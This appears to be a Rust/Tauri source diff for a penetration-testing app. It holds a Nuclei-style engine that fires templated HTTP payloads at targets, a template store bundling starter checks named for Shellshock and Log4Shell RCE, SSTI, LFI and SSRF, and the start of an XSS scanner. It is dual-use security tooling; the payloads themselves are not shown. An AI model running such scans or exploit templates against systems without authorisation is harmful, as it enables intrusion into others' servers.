pub struct RunRequest {
|
||||
pub targets: Vec<String>,
|
||||
pub templates_yaml: Vec<String>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct Finding {
|
||||
pub template_id: String,
|
||||
pub template_name: String,
|
||||
pub severity: String,
|
||||
pub tags: Vec<String>,
|
||||
pub target: String,
|
||||
pub matched_url: String,
|
||||
pub status: u16,
|
||||
pub matcher_names: Vec<String>,
|
||||
pub extracted: HashMap<String, Vec<String>>,
|
||||
pub description: String,
|
||||
pub remediation: Option<String>,
|
||||
pub reference: Vec<String>,
|
||||
pub cvss: Option<f32>,
|
||||
pub cve_id: Option<String>,
|
||||
}
|
||||
|
||||
// helpers ----------------------------------------------------------
|
||||
|
||||
fn randstr(n: usize) -> String {
|
||||
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
|
||||
let mut rng = rand::thread_rng();
|
||||
(0..n).map(|_| chars[rng.gen_range(0..chars.len())]).collect()
|
||||
}
|
||||
|
||||
fn now_unix() -> u64 {
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
/// Expand `{{var}}` and helper placeholders inside a template string.
|
||||
fn expand(s: &str, vars: &HashMap<String, String>) -> String {
|
||||
let mut out = s.to_string();
|
||||
// helpers
|
||||
out = out.replace("{{randstr}}", &randstr(10));
|
||||
out = out.replace("{{rand_int}}", &rand::thread_rng().gen_range(1000..9999).to_string());
|
||||
out = out.replace("{{unix_time}}", &now_unix().to_string());
|
||||
// user variables
|
||||
for (k, v) in vars {
|
||||
out = out.replace(&format!("{{{{{k}}}}}"), v);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn part_of(part: &str, status: u16, headers: &reqwest::header::HeaderMap, body: &str) -> String {
|
||||
match part {
|
||||
"header" | "headers" => headers
|
||||
.iter()
|
||||
.map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or("")))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n"),
|
||||
"body" | "" => body.to_string(),
|
||||
"all" => format!(
|
||||
"HTTP/1.1 {}\n{}\n\n{}",
|
||||
status,
|
||||
headers.iter().map(|(k, v)| format!("{}: {}", k, v.to_str().unwrap_or(""))).collect::<Vec<_>>().join("\n"),
|
||||
body
|
||||
),
|
||||
_ => body.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn check_matcher(m: &Matcher, status: u16, headers: &reqwest::header::HeaderMap, body: &str, duration_ms: u128) -> bool {
|
||||
let part = m.part.as_deref().unwrap_or("body");
|
||||
let haystack = part_of(part, status, headers, body);
|
||||
|
||||
let result = match m.kind.as_str() {
|
||||
"status" => m.status.as_ref().is_some_and(|s| s.contains(&status)),
|
||||
"word" => {
|
||||
if let Some(words) = &m.words {
|
||||
if m.condition == "and" {
|
||||
words.iter().all(|w| haystack.contains(w))
|
||||
} else {
|
||||
words.iter().any(|w| haystack.contains(w))
|
||||
}
|
||||
} else { false }
|
||||
}
|
||||
"regex" => {
|
||||
if let Some(patterns) = &m.regex {
|
||||
let regs: Vec<Regex> = patterns.iter().filter_map(|p| Regex::new(p).ok()).collect();
|
||||
if m.condition == "and" {
|
||||
regs.iter().all(|re| re.is_match(&haystack))
|
||||
} else {
|
||||
regs.iter().any(|re| re.is_match(&haystack))
|
||||
}
|
||||
} else { false }
|
||||
}
|
||||
"size" => m.size.as_ref().is_some_and(|s| s.contains(&(body.len() as u64))),
|
||||
"binary" => {
|
||||
// hex bytes match anywhere in body
|
||||
if let Some(patterns) = &m.binary {
|
||||
patterns.iter().any(|hex| {
|
||||
let bytes: Vec<u8> = (0..hex.len())
|
||||
.step_by(2)
|
||||
.filter_map(|i| u8::from_str_radix(hex.get(i..i + 2).unwrap_or("00"), 16).ok())
|
||||
.collect();
|
||||
body.as_bytes().windows(bytes.len()).any(|w| w == bytes.as_slice())
|
||||
})
|
||||
} else { false }
|
||||
}
|
||||
"dsl" => {
|
||||
// minimal DSL: `duration > 5000`, `status == 200`, `contains(body, "foo")`
|
||||
if let Some(exprs) = &m.dsl {
|
||||
let ok = |e: &str| eval_dsl(e, status, body, duration_ms);
|
||||
if m.condition == "and" { exprs.iter().all(|e| ok(e)) }
|
||||
else { exprs.iter().any(|e| ok(e)) }
|
||||
} else { false }
|
||||
}
|
||||
_ => false,
|
||||
};
|
||||
if m.negative { !result } else { result }
|
||||
}
|
||||
|
||||
fn eval_dsl(expr: &str, status: u16, body: &str, duration_ms: u128) -> bool {
|
||||
// SUPER minimal DSL — extend as needed. Supports:
|
||||
// status == N | status != N | status >= N | status <= N
|
||||
// duration > N | duration < N (milliseconds)
|
||||
// size > N | size < N
|
||||
// contains(body, "text")
|
||||
// regex(body, "pat")
|
||||
let e = expr.trim();
|
||||
|
||||
if let Some(rest) = e.strip_prefix("contains(body,") {
|
||||
let t = rest.trim_end_matches(')').trim().trim_matches('"');
|
||||
return body.contains(t);
|
||||
}
|
||||
if let Some(rest) = e.strip_prefix("regex(body,") {
|
||||
let t = rest.trim_end_matches(')').trim().trim_matches('"');
|
||||
return Regex::new(t).map(|re| re.is_match(body)).unwrap_or(false);
|
||||
}
|
||||
|
||||
let parse_binop = |lhs: &str, input: &str| -> Option<(u128, &'static str, u128)> {
|
||||
let cleaned = input.trim();
|
||||
let rest = cleaned.strip_prefix(lhs)?.trim_start();
|
||||
for op in [">=", "<=", "==", "!=", ">", "<"] {
|
||||
if let Some(r) = rest.strip_prefix(op) {
|
||||
if let Ok(n) = r.trim().parse::<u128>() {
|
||||
let lhs_val = match lhs {
|
||||
"status" => status as u128,
|
||||
"duration" => duration_ms,
|
||||
"size" => body.len() as u128,
|
||||
_ => return None,
|
||||
};
|
||||
let op_tag: &'static str = match op {
|
||||
">=" => ">=", "<=" => "<=", "==" => "==",
|
||||
"!=" => "!=", ">" => ">", "<" => "<", _ => "==",
|
||||
};
|
||||
return Some((lhs_val, op_tag, n));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
};
|
||||
|
||||
for lhs in ["status", "duration", "size"] {
|
||||
if let Some((a, op, b)) = parse_binop(lhs, e) {
|
||||
return match op {
|
||||
"==" => a == b, "!=" => a != b,
|
||||
">" => a > b, "<" => a < b,
|
||||
">=" => a >= b, "<=" => a <= b,
|
||||
_ => false,
|
||||
};
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn run_extractors(extractors: &[Extractor], status: u16, headers: &reqwest::header::HeaderMap, body: &str)
|
||||
-> HashMap<String, Vec<String>>
|
||||
{
|
||||
let mut out: HashMap<String, Vec<String>> = HashMap::new();
|
||||
for ex in extractors {
|
||||
let part = ex.part.as_deref().unwrap_or("body");
|
||||
let name = ex.name.clone().unwrap_or_else(|| "extracted".into());
|
||||
match ex.kind.as_str() {
|
||||
"regex" => {
|
||||
let Some(patterns) = &ex.regex else { continue };
|
||||
let haystack = part_of(part, status, headers, body);
|
||||
let group = ex.group.unwrap_or(0);
|
||||
for p in patterns {
|
||||
if let Ok(re) = Regex::new(p) {
|
||||
for cap in re.captures_iter(&haystack) {
|
||||
if let Some(m) = cap.get(group) {
|
||||
out.entry(name.clone()).or_default().push(m.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
"kval" => {
|
||||
let Some(keys) = &ex.kval else { continue };
|
||||
for k in keys {
|
||||
if let Some(v) = headers.get(k).and_then(|v| v.to_str().ok()) {
|
||||
out.entry(k.clone()).or_default().push(v.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
"json" => {
|
||||
let Some(paths) = &ex.json else { continue };
|
||||
if let Ok(val) = serde_json::from_str::<serde_json::Value>(body) {
|
||||
for p in paths {
|
||||
if let Some(v) = json_lookup(&val, p) {
|
||||
out.entry(p.clone()).or_default().push(
|
||||
v.as_str().map(String::from).unwrap_or_else(|| v.to_string())
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn json_lookup<'a>(val: &'a serde_json::Value, path: &str) -> Option<&'a serde_json::Value> {
|
||||
let mut cur = val;
|
||||
for part in path.split('.') {
|
||||
cur = cur.get(part)?;
|
||||
}
|
||||
Some(cur)
|
||||
}
|
||||
|
||||
fn expand_payloads(path: &str, payloads: &HashMap<String, Vec<String>>, attack: &str) -> Vec<HashMap<String, String>> {
|
||||
// returns list of var-substitution maps — one per payload combination
|
||||
let used: Vec<(&String, &Vec<String>)> = payloads.iter()
|
||||
.filter(|(k, _)| path.contains(&format!("{{{{{k}}}}}")))
|
||||
.collect();
|
||||
if used.is_empty() { return vec![HashMap::new()]; }
|
||||
|
||||
match attack {
|
||||
"batteringram" => {
|
||||
// single-list: all placeholders get same index value
|
||||
if let Some(max) = used.iter().map(|(_, v)| v.len()).max() {
|
||||
(0..max).map(|i| {
|
||||
used.iter().map(|(k, v)| {
|
||||
let s = v.get(i).or_else(|| v.first()).cloned().unwrap_or_default();
|
||||
((*k).clone(), s)
|
||||
}).collect()
|
||||
}).collect()
|
||||
} else { vec![HashMap::new()] }
|
||||
}
|
||||
"pitchfork" => {
|
||||
// parallel — each list iterates in lockstep
|
||||
if let Some(min) = used.iter().map(|(_, v)| v.len()).min() {
|
||||
(0..min).map(|i| {
|
||||
used.iter().map(|(k, v)| ((*k).clone(), v[i].clone())).collect()
|
||||
}).collect()
|
||||
} else { vec![HashMap::new()] }
|
||||
}
|
||||
_ => {
|
||||
// clusterbomb (cartesian)
|
||||
let mut results: Vec<HashMap<String, String>> = vec![HashMap::new()];
|
||||
for (k, vals) in &used {
|
||||
let mut next: Vec<HashMap<String, String>> = Vec::new();
|
||||
for base in &results {
|
||||
for v in vals.iter() {
|
||||
let mut m = base.clone();
|
||||
m.insert((*k).clone(), v.clone());
|
||||
next.push(m);
|
||||
}
|
||||
}
|
||||
results = next;
|
||||
}
|
||||
results
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run_template_against_target(
|
||||
client: &reqwest::Client,
|
||||
target: &str,
|
||||
tpl: &Template,
|
||||
app: &AppHandle,
|
||||
event_prefix: &str,
|
||||
) -> Vec<Finding> {
|
||||
let ev_status = format!("{event_prefix}:status");
|
||||
let ev_hit = format!("{event_prefix}:hit");
|
||||
let mut out: Vec<Finding> = Vec::new();
|
||||
|
||||
// runtime variables (template globals + extracted from prior requests)
|
||||
let mut rt_vars: HashMap<String, String> = tpl.variables.clone();
|
||||
rt_vars.insert("BaseURL".into(), target.trim_end_matches('/').to_string());
|
||||
rt_vars.insert("Hostname".into(), target
|
||||
.trim_start_matches("http://")
|
||||
.trim_start_matches("https://")
|
||||
.trim_end_matches('/')
|
||||
.split('/').next().unwrap_or("").to_string());
|
||||
|
||||
let requests: Vec<&HttpRequest> = tpl.http.iter().chain(tpl.requests.iter()).collect();
|
||||
|
||||
'per_request: for rq in requests {
|
||||
// merge request-local variables
|
||||
let mut vars = rt_vars.clone();
|
||||
for (k, v) in &rq.variables { vars.insert(k.clone(), v.clone()); }
|
||||
|
||||
// combine template-level + request-level payloads
|
||||
let mut all_payloads = tpl.payloads.clone();
|
||||
for (k, v) in &rq.payloads { all_payloads.insert(k.clone(), v.clone()); }
|
||||
|
||||
for raw_path in &rq.path {
|
||||
let payload_sets = expand_payloads(raw_path, &all_payloads, &rq.attack);
|
||||
|
||||
for pset in &payload_sets {
|
||||
let mut iter_vars = vars.clone();
|
||||
for (k, v) in pset { iter_vars.insert(k.clone(), v.clone()); }
|
||||
|
||||
let final_path = expand(raw_path, &iter_vars);
|
||||
let method = reqwest::Method::from_bytes(rq.method.as_bytes())
|
||||
.unwrap_or(reqwest::Method::GET);
|
||||
let mut builder = client.request(method, &final_path);
|
||||
for (k, v) in &rq.headers {
|
||||
builder = builder.header(expand(k, &iter_vars), expand(v, &iter_vars));
|
||||
}
|
||||
if let Some(body) = &rq.body {
|
||||
builder = builder.body(expand(body, &iter_vars));
|
||||
}
|
||||
|
||||
let start = Instant::now();
|
||||
let resp = match builder.send().await {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
let _ = app.emit(ev_status.as_str(), format!("req err [{}]: {e}", tpl.id));
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let status = resp.status().as_u16();
|
||||
let hdrs = resp.headers().clone();
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let duration = start.elapsed().as_millis();
|
||||
|
||||
// matchers
|
||||
let cond = rq.matchers_condition.as_str();
|
||||
let results: Vec<(bool, String)> = rq.matchers.iter()
|
||||
.map(|m| (check_matcher(m, status, &hdrs, &body, duration),
|
||||
m.name.clone().unwrap_or_else(|| m.kind.clone())))
|
||||
.collect();
|
||||
let matched = if results.is_empty() { false }
|
||||
else if cond == "and" { results.iter().all(|(r, _)| *r) }
|
||||
else { results.iter().any(|(r, _)| *r) };
|
||||
|
||||
// extractors (always run — populate variables for chained reqs)
|
||||
let extracted = run_extractors(&rq.extractors, status, &hdrs, &body);
|
||||
for ex in &rq.extractors {
|
||||
if ex.internal {
|
||||
if let Some(name) = &ex.name {
|
||||
if let Some(vals) = extracted.get(name) {
|
||||
if let Some(first) = vals.first() {
|
||||
rt_vars.insert(name.clone(), first.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
let finding = Finding {
|
||||
template_id: tpl.id.clone(),
|
||||
template_name: tpl.info.name.clone(),
|
||||
severity: tpl.info.severity.clone(),
|
||||
tags: tpl.info.tags.clone(),
|
||||
target: target.to_string(),
|
||||
matched_url: final_path,
|
||||
status,
|
||||
matcher_names: results.into_iter().filter(|(r, _)| *r).map(|(_, n)| n).collect(),
|
||||
extracted,
|
||||
description: tpl.info.description.clone(),
|
||||
remediation: tpl.info.remediation.clone(),
|
||||
reference: tpl.info.reference.clone(),
|
||||
cvss: tpl.info.classification.as_ref().and_then(|c| c.cvss_score),
|
||||
cve_id: tpl.info.classification.as_ref().and_then(|c| c.cve_id.clone()),
|
||||
};
|
||||
let _ = app.emit(ev_hit.as_str(), finding.clone());
|
||||
out.push(finding);
|
||||
if rq.stop_at_first_match { break 'per_request; }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub fn parse_templates(yamls: &[String], app: &AppHandle, error_event: &str) -> Vec<Template> {
|
||||
yamls.iter()
|
||||
.filter_map(|y| match serde_yaml::from_str::<Template>(y) {
|
||||
Ok(t) => Some(t),
|
||||
Err(e) => {
|
||||
let _ = app.emit(error_event, format!("template parse error: {e}"));
|
||||
None
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_run(app: AppHandle, req: RunRequest) -> Result<Vec<Finding>, String> {
|
||||
let templates = parse_templates(&req.templates_yaml, &app, "xpl:status");
|
||||
|
||||
if templates.is_empty() {
|
||||
return Err("no valid templates loaded".into());
|
||||
}
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.user_agent("Mozilla/5.0 (Xploiter)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let tasks: Vec<(String, Template)> = req.targets.iter()
|
||||
.flat_map(|t| templates.iter().map(move |tpl| (t.clone(), tpl.clone())))
|
||||
.collect();
|
||||
let total = tasks.len();
|
||||
let _ = app.emit("xpl:status", format!("running {} target×template combo(s)", total));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let client = Arc::new(client);
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
let all: Vec<Finding> = stream::iter(tasks.into_iter())
|
||||
.map(|(target, tpl)| {
|
||||
let sem = sem.clone();
|
||||
let client = client.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let v = run_template_against_target(&client, &target, &tpl, &app, "xpl").await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("xpl:progress", serde_json::json!({"done": n, "total": total}));
|
||||
v
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.flat_map(|v| stream::iter(v.into_iter()))
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("xpl:done", all.len());
|
||||
Ok(all)
|
||||
}
|
||||
270
src-tauri/src/modules/xploiter_store.rs
Normal file
@@ -0,0 +1,270 @@
|
||||
// ===================================================================
|
||||
// Xploiter template store — local CRUD + bundled starter templates.
|
||||
//
|
||||
// Templates live in: app_local_data_dir()/xploiter-templates/*.yaml
|
||||
// Bundled templates are embedded at compile time and extracted on
|
||||
// first run into the same directory (user can then edit them).
|
||||
//
|
||||
// TODO(backend): add a `templates_sync` command that pulls curated
|
||||
// community packs from a signed Pocket-hosted registry
|
||||
// (subscription tier). Templates must be signed so
|
||||
// malicious YAMLs can't be injected by a MITM.
|
||||
// TODO(backend): add `templates_publish` to submit a local template
|
||||
// back to the registry for review.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter, Manager};
|
||||
use walkdir::WalkDir;
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Bundled starter templates — covers RCE, SSTI, LFI, SSRF, info-leak
|
||||
// ------------------------------------------------------------------
|
||||
//
|
||||
// These are embedded in the binary so the app is useful on first run
|
||||
// without network access. Users can edit/delete/duplicate freely.
|
||||
|
||||
const STARTER_TEMPLATES: &[(&str, &str)] = &[
|
||||
("xpl-env-leak.yaml", include_str!("../../starter_templates/xpl-env-leak.yaml")),
|
||||
("xpl-git-config.yaml", include_str!("../../starter_templates/xpl-git-config.yaml")),
|
||||
("xpl-phpinfo.yaml", include_str!("../../starter_templates/xpl-phpinfo.yaml")),
|
||||
("xpl-lfi-basic.yaml", include_str!("../../starter_templates/xpl-lfi-basic.yaml")),
|
||||
("xpl-rce-shellshock.yaml", include_str!("../../starter_templates/xpl-rce-shellshock.yaml")),
|
||||
("xpl-rce-log4shell.yaml", include_str!("../../starter_templates/xpl-rce-log4shell.yaml")),
|
||||
("xpl-ssti-jinja2.yaml", include_str!("../../starter_templates/xpl-ssti-jinja2.yaml")),
|
||||
("xpl-ssti-twig.yaml", include_str!("../../starter_templates/xpl-ssti-twig.yaml")),
|
||||
("xpl-open-redirect.yaml", include_str!("../../starter_templates/xpl-open-redirect.yaml")),
|
||||
("xpl-ssrf-basic.yaml", include_str!("../../starter_templates/xpl-ssrf-basic.yaml")),
|
||||
("xpl-wp-debug.yaml", include_str!("../../starter_templates/xpl-wp-debug.yaml")),
|
||||
("xpl-cors-misconfig.yaml", include_str!("../../starter_templates/xpl-cors-misconfig.yaml")),
|
||||
("xpl-backup-files.yaml", include_str!("../../starter_templates/xpl-backup-files.yaml")),
|
||||
];
|
||||
|
||||
fn store_root(app: &AppHandle) -> Result<PathBuf, String> {
|
||||
let base = app.path().app_local_data_dir().map_err(|e| e.to_string())?;
|
||||
let p = base.join("xploiter-templates");
|
||||
if !p.exists() {
|
||||
std::fs::create_dir_all(&p).map_err(|e| e.to_string())?;
|
||||
}
|
||||
Ok(p)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Data shapes
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct TemplateRef {
|
||||
pub filename: String,
|
||||
pub path: String,
|
||||
pub id: String,
|
||||
pub name: String,
|
||||
pub severity: String,
|
||||
pub tags: Vec<String>,
|
||||
pub author: String,
|
||||
pub description: String,
|
||||
pub builtin: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
struct HeadYaml {
|
||||
id: Option<String>,
|
||||
info: Option<HeadInfo>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
struct HeadInfo {
|
||||
name: Option<String>,
|
||||
severity: Option<String>,
|
||||
author: Option<String>,
|
||||
description: Option<String>,
|
||||
tags: Option<serde_yaml::Value>,
|
||||
}
|
||||
|
||||
fn parse_tags(v: Option<serde_yaml::Value>) -> Vec<String> {
|
||||
match v {
|
||||
Some(serde_yaml::Value::String(s)) => s.split(',').map(|x| x.trim().to_string()).filter(|x| !x.is_empty()).collect(),
|
||||
Some(serde_yaml::Value::Sequence(seq)) => seq.into_iter().filter_map(|v| v.as_str().map(String::from)).collect(),
|
||||
_ => Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Commands
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_init(app: AppHandle) -> Result<serde_json::Value, String> {
|
||||
let root = store_root(&app)?;
|
||||
// Always overwrite bundled templates (user-authored custom templates with
|
||||
// different filenames are preserved). This picks up template improvements
|
||||
// shipped in app updates.
|
||||
let mut written = 0usize;
|
||||
let bundled: std::collections::HashSet<&str> =
|
||||
STARTER_TEMPLATES.iter().map(|(n, _)| *n).collect();
|
||||
for (name, body) in STARTER_TEMPLATES {
|
||||
let p = root.join(name);
|
||||
std::fs::write(&p, body).map_err(|e| e.to_string())?;
|
||||
written += 1;
|
||||
}
|
||||
let _ = app.emit("xpl:store:status",
|
||||
format!("store ready @ {} ({} bundled synced)", root.display(), written));
|
||||
let _ = bundled; // keep for clarity
|
||||
Ok(serde_json::json!({
|
||||
"path": root.to_string_lossy(),
|
||||
"written": written,
|
||||
"total_bundled": STARTER_TEMPLATES.len(),
|
||||
}))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_list(
|
||||
app: AppHandle,
|
||||
severity: Option<Vec<String>>,
|
||||
tag: Option<String>,
|
||||
query: Option<String>,
|
||||
) -> Result<Vec<TemplateRef>, String> {
|
||||
let root = store_root(&app)?;
|
||||
let sev_filter: Option<Vec<String>> = severity.map(|v| v.into_iter().map(|s| s.to_lowercase()).collect());
|
||||
let q = query.map(|s| s.to_lowercase());
|
||||
|
||||
let bundled_names: std::collections::HashSet<&str> = STARTER_TEMPLATES.iter().map(|(n, _)| *n).collect();
|
||||
|
||||
let mut out: Vec<TemplateRef> = Vec::new();
|
||||
for entry in WalkDir::new(&root).into_iter().filter_map(|e| e.ok()) {
|
||||
if !entry.file_type().is_file() { continue; }
|
||||
let path = entry.path();
|
||||
if path.extension().and_then(|s| s.to_str()) != Some("yaml") { continue; }
|
||||
let Ok(content) = std::fs::read_to_string(path) else { continue };
|
||||
let Ok(head) = serde_yaml::from_str::<HeadYaml>(&content) else { continue };
|
||||
|
||||
let filename = path.file_name().and_then(|s| s.to_str()).unwrap_or("").to_string();
|
||||
let id = head.id.unwrap_or_default();
|
||||
if id.is_empty() { continue; }
|
||||
let info = head.info.unwrap_or(HeadInfo { name: None, severity: None, author: None, description: None, tags: None });
|
||||
let severity = info.severity.unwrap_or_else(|| "info".into()).to_lowercase();
|
||||
let tags = parse_tags(info.tags);
|
||||
|
||||
if let Some(ref sf) = sev_filter {
|
||||
if !sf.contains(&severity) { continue; }
|
||||
}
|
||||
if let Some(ref t) = tag {
|
||||
if !tags.iter().any(|x| x.eq_ignore_ascii_case(t)) { continue; }
|
||||
}
|
||||
if let Some(ref qq) = q {
|
||||
let hay = format!("{} {} {}", id, info.name.clone().unwrap_or_default(), tags.join(" "));
|
||||
if !hay.to_lowercase().contains(qq) { continue; }
|
||||
}
|
||||
|
||||
out.push(TemplateRef {
|
||||
filename: filename.clone(),
|
||||
path: path.to_string_lossy().into_owned(),
|
||||
id,
|
||||
name: info.name.unwrap_or_default(),
|
||||
severity,
|
||||
tags,
|
||||
author: info.author.unwrap_or_default(),
|
||||
description: info.description.unwrap_or_default(),
|
||||
builtin: bundled_names.contains(filename.as_str()),
|
||||
});
|
||||
}
|
||||
out.sort_by(|a, b| a.filename.cmp(&b.filename));
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_read(path: String) -> Result<String, String> {
|
||||
tokio::fs::read_to_string(&path).await.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_save(app: AppHandle, filename: String, content: String) -> Result<String, String> {
|
||||
// validate YAML parses before writing
|
||||
serde_yaml::from_str::<serde_yaml::Value>(&content).map_err(|e| format!("invalid yaml: {e}"))?;
|
||||
|
||||
let root = store_root(&app)?;
|
||||
let safe = filename.replace(['/', '\\', ':'], "_");
|
||||
let fname = if safe.ends_with(".yaml") { safe } else { format!("{safe}.yaml") };
|
||||
let path = root.join(&fname);
|
||||
tokio::fs::write(&path, content).await.map_err(|e| e.to_string())?;
|
||||
Ok(path.to_string_lossy().into_owned())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_delete(path: String) -> Result<(), String> {
|
||||
tokio::fs::remove_file(&path).await.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xploit_store_duplicate(app: AppHandle, path: String) -> Result<String, String> {
|
||||
let content = tokio::fs::read_to_string(&path).await.map_err(|e| e.to_string())?;
|
||||
let orig = std::path::Path::new(&path).file_stem()
|
||||
.and_then(|s| s.to_str()).unwrap_or("template");
|
||||
let new_name = format!("{orig}-copy-{}.yaml", rand::random::<u16>());
|
||||
let root = store_root(&app)?;
|
||||
let new_path = root.join(&new_name);
|
||||
tokio::fs::write(&new_path, content).await.map_err(|e| e.to_string())?;
|
||||
Ok(new_path.to_string_lossy().into_owned())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn xploit_store_starter_template() -> String {
|
||||
// Returned when UI asks for a "new template" skeleton.
|
||||
r#"id: my-custom-check
|
||||
info:
|
||||
name: My Custom Template
|
||||
author: you
|
||||
severity: info
|
||||
description: Describe what this template detects
|
||||
tags:
|
||||
- custom
|
||||
reference:
|
||||
- https://example.com/reference
|
||||
|
||||
variables:
|
||||
marker: "xpl_{{randstr}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "Welcome"
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "v([0-9]+\\.[0-9]+\\.[0-9]+)"
|
||||
group: 1
|
||||
name: version
|
||||
"#.into()
|
||||
}
|
||||
|
||||
// TODO(backend): subscription-gated commands (stubbed for now)
|
||||
//
|
||||
// #[tauri::command]
|
||||
// pub async fn xploit_store_sync_community() -> Result<(), String> {
|
||||
// // POST to /v1/templates/sync with session token, download signed
|
||||
// // template pack, verify ed25519 sigs, extract to store_root().
|
||||
// Err("community sync requires a Pocket Pro subscription".into())
|
||||
// }
|
||||
//
|
||||
// #[tauri::command]
|
||||
// pub async fn xploit_store_publish(path: String) -> Result<(), String> {
|
||||
// // Upload local template for peer review. Requires auth session.
|
||||
// Err("publishing requires a Pocket Pro subscription".into())
|
||||
// }
|
||||
|
||||
// unused import guard — HashMap isn't used yet but kept for future extractor aggregation
|
||||
#[allow(dead_code)]
|
||||
fn _keep(_: HashMap<(), ()>) {}
|
||||
300
src-tauri/src/modules/xss.rs
Normal file
@@ -0,0 +1,300 @@
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use rand::Rng;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct XssRequest {
|
||||
pub url: String,
|
||||
pub params: Option<Vec<String>>,
|
||||
pub methods: Vec<String>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct XssFinding {
|
||||
pub param: String,
|
||||
pub method: String,
|
||||
pub context: String,
|
||||
pub payload: String,
|
||||
pub evidence: String,
|
||||
pub confidence: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum RefContext {
|
||||
Html,
|
||||
HtmlAttribute(char), // quote char
|
||||
ScriptBlock,
|
||||
ScriptString(char),
|
||||
UrlAttribute,
|
||||
Comment,
|
||||
}
|
||||
|
||||
fn random_canary() -> String {
|
||||
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
|
||||
let mut rng = rand::thread_rng();
|
||||
let tail: String = (0..8).map(|_| chars[rng.gen_range(0..chars.len())]).collect();
|
||||
format!("pxs{tail}xsp")
|
||||
}
|
||||
|
||||
fn detect_context(body: &str, canary: &str) -> Vec<RefContext> {
|
||||
let mut found = Vec::new();
|
||||
let bytes = body.as_bytes();
|
||||
let canary_bytes = canary.as_bytes();
|
||||
|
||||
let mut i = 0;
|
||||
while i + canary_bytes.len() <= bytes.len() {
|
||||
if &bytes[i..i + canary_bytes.len()] == canary_bytes {
|
||||
// look backwards for context
|
||||
let before = &body[..i];
|
||||
let ctx = classify(before);
|
||||
found.push(ctx);
|
||||
i += canary_bytes.len();
|
||||
} else {
